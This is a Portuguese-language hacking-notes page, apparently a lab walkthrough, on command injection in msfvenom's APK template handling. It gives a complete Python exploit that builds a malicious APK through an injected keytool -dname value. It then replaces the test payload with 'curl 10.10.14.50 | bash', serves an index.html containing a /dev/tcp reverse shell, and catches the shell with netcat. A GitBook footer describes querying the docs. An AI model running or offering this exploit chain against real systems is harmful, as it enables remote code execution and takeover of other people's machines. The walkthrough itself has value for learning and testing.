> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/msfvenom-apk-exploitation.md).

# APK com Msfvenom

## Injeção de comando em modelo APK do msfvenom

<figure><img src="/files/c7b211c34f4e87a2f099542cdcd9798c1e1ba3db" alt=""><figcaption></figcaption></figure>

Um serviço vulnerável é identificado na porta 5000.

<figure><img src="/files/1ee8f6cf985f6843d7faa490956cd0b04b7d5919" alt=""><figcaption></figcaption></figure>

Buscar vulnerabilidades relacionadas:

```bash
searchsploit -m multiple/local/49491.py
```

Uma possível injeção baseada em APK é identificada.

<figure><img src="/files/4c8968fa2969d5393f9b70643cb4a363f443bf39" alt="" width="557"><figcaption></figcaption></figure>

**Script de exploit (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Altere-me
payload = 'ping 10.10.14.50'

# usar b64encode para evitar badchars (keytool é exigente)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Fabricando apk malicioso")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Criar empty_file
open(empty_file, "w").close()

# Criar apk_file
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Gerar chave de assinatura com -dname malicioso
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# Assinar o APK usando nosso dname malicioso
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Pronto! O apkfile está em {apk_file}")
print(f"Faça: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

O script gera um arquivo temporário contendo um APK malicioso.

<figure><img src="/files/e0c05fccd59ff46beacf28c55cee3e0c3db818af" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/488c7d9cea25c1a27198f046ace7ce7721b30585" alt=""><figcaption></figcaption></figure>

**Análise de pacotes ICMP**

Monitore a atividade de rede em busca de um callback:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/9eaefb2edafbf2661897a03ab8e0bf7f06a9448d" alt=""><figcaption></figcaption></figure>

### **Exploração de RCE com Msfvenom**

Modifique o payload para estabelecer uma conexão reversa:

```bash
# Altere-me
payload = 'curl 10.10.14.50 | bash'
```

Crie um `index.html` arquivo contendo:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Inicie um servidor HTTP:

```bash
python3 -m http.server 80
```

Em seguida, aguarde a conexão na porta 443:

```bash
nc -nlvp 443
```

Assim que o APK for enviado e executado no alvo, uma shell remota é obtida.

<figure><img src="/files/b7aa999ed3694f7d68eaaec459481951f35ed9d8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/msfvenom-apk-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
